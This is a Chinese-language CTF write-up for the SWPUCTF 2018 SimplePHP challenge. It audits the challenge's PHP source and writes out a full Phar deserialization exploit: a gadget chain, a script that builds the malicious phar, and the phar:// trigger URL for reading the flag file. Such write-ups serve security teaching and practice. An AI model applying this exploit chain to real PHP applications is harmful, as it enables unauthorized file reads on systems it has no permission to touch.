[SWPUCTF 2018]SimplePHP

[SWPUCTF 2018]SimplePHP

考点:1、PHP代码审计 2、Phar反序列化漏洞

网站中有两个功能:查看文件上传文件,利用查看文件将源码都先弄下来进行PHP代码审计。

file.php

<?php 
header("content-type:text/html;charset=utf-8");  
include 'function.php'; 
include 'class.php'; 
ini_set('open_basedir','/var/www/html/'); 
$file = $_GET["file"] ? $_GET['file'] : ""; 
if(empty($file)) { 
    echo "<h2>There is no file to show!<h2/>"; 
} 
$show = new Show(); 
if(file_exists($file)) { 
    $show->source = $file; 
    $show->_show(); 
} else if (!empty($file)){ 
    die('file doesn\'t exists.'); 
} 
?>

存在file_exists函数,并且有class.phpupload_file.php(通过类文件可能可以构造反序列化攻击,通过文件上传phar文件可以触发file_exists),猜测应该是Phar反序列化漏洞

function.php

<?php 
//show_source(__FILE__); 
include "base.php"; 
header("Content-type: text/html;charset=utf-8"); 
error_reporting(0); 
function upload_file_do() { 
    global $_FILES; 
    $filename = md5($_FILES["file"]["name"].$_SERVER["REMOTE_ADDR"]).".jpg"; 
    //mkdir("upload",0777); 
    if(file_exists("upload/" . $filename)) { 
        unlink($filename); 
    } 
    move_uploaded_file($_FILES["file"]["tmp_name"],"upload/" . $filename); 
    echo '<script type="text/javascript">alert("上传成功!");</script>'; 
} 
function upload_file() { 
    global $_FILES; 
    if(upload_file_check()) { 
        upload_file_do(); 
    } 
} 
function upload_file_check() { 
    global $_FILES; 
    $allowed_types = array("gif","jpeg","jpg","png"); 
    $temp = explode(".",$_FILES["file"]["name"]); 
    $extension = end($temp); 
    if(empty($extension)) { 
        //echo "<h4>请选择上传的文件:" . "<h4/>"; 
    } 
    else{ 
        if(in_array($extension,$allowed_types)) { 
            return true; 
        } 
        else { 
            echo '<script type="text/javascript">alert("Invalid file!");</script>'; 
            return false; 
        } 
    } 
} 
?> 

通过审计function.php,只对后缀进行了白名单过滤,不造成影响,上传路径也是已知的

upload/md5($_FILES["file"]["name"].$_SERVER["REMOTE_ADDR"]).".jpg"

页面右上角已经输出了$_SERVER["REMOTE_ADDR"],之后就要通过class.php构造链子

class.php

<?php
class C1e4r
{
    public $test;
    public $str;
    public function __construct($name)
    {
        $this->str = $name;
    }
    public function __destruct()
    {
        $this->test = $this->str;
        echo $this->test;
    }
}

class Show
{
    public $source;
    public $str;
    public function __construct($file)
    {
        $this->source = $file;   //$this->source = phar://phar.jpg
        echo $this->source;
    }
    public function __toString()
    {
        $content = $this->str['str']->source;
        return $content;
    }
    public function __set($key,$value)
    {
        $this->$key = $value;
    }
    public function _show()
    {
        if(preg_match('/http|https|file:|gopher|dict|\.\.|f1ag/i',$this->source)) {
            die('hacker!');
        } else {
            highlight_file($this->source);
        }
        
    }
    public function __wakeup()
    {
        if(preg_match("/http|https|file:|gopher|dict|\.\./i", $this->source)) {
            echo "hacker~";
            $this->source = "index.php";
        }
    }
}
class Test
{
    public $file;
    public $params;
    public function __construct()
    {
        $this->params = array();
    }
    public function __get($key)
    {
        return $this->get($key);
    }
    public function get($key)
    {
        if(isset($this->params[$key])) {
            $value = $this->params[$key];
        } else {
            $value = "index.php";
        }
        return $this->file_get($value);
    }
    public function file_get($value)
    {
        $text = base64_encode(file_get_contents($value));
        return $text;
    }
}
?>

C1e4r::__destruct => Show::__toString => Test::__get => Test::get => Test::file_get

exp:

<?php
class C1e4r
{
    public $test;
    public $str;
    public function __construct($name)
    {
        $this->str = $name;
    }
}

class Show
{
    public $source;
    public $str;
    public function __construct($name)
    {
        $this->str['str'] = $name;
    }
}

class Test
{
    public $params;
    public function __construct()
    {
        $this->params['source'] = '/var/www/html/f1ag.php';		// 一定要是绝对路径
    }
}

$c = new Test;
$b = new Show($c);
$a = new C1e4r($b);
echo base64_encode(serialize($a));

$phar = new Phar("phar.phar");
$phar->startBuffering();
$phar->setStub("__HALT_COMPILER(); ?>");
$phar->setMetadata($a);
$phar->addFromString("test.txt", "test");
$phar->stopBuffering();

上传成功后,直接查看upload目录也可以找到文件,然后通过phar://伪协议读取就可以得到flag

file.php?file=phar://upload/8efb16f93aff65a6f9b440dbb29a5736.jpg

再附魔术方法

魔术方法 作用
__construct() 当对象被创建时会调用此方法
__destrurct() 在某个对象的所有引用都被删除或者当对象被显式销毁时执行
__sleep() 当对象被序列化时会调用此方法
__wakeup() 当对象被反序列化时将会调用此方法
__call() 在对象中调用一个不可访问方法时,该方法被调用
__callStatic() 在静态上下文中调用一个不可访问方法时,该方法被调用
__get() 读取不可访问属性的值时,该方法被调用
__set() 在给不可访问属性赋值时,该方法被调用
__toString() 当一个类被当作字符串时将会调用此方法
__invoke() 当尝试以调用函数的方式调用一个对象时该方法会被调用
__isset() 当对不可访问属性调用 isset() 或 empty() 时,该方法会被调用
__unset() 当对不可访问属性调用 unset() 时,该方法会被调用
posted @ 2023-01-08 23:20  seizer-zyx  阅读(79)  评论(0编辑  收藏  举报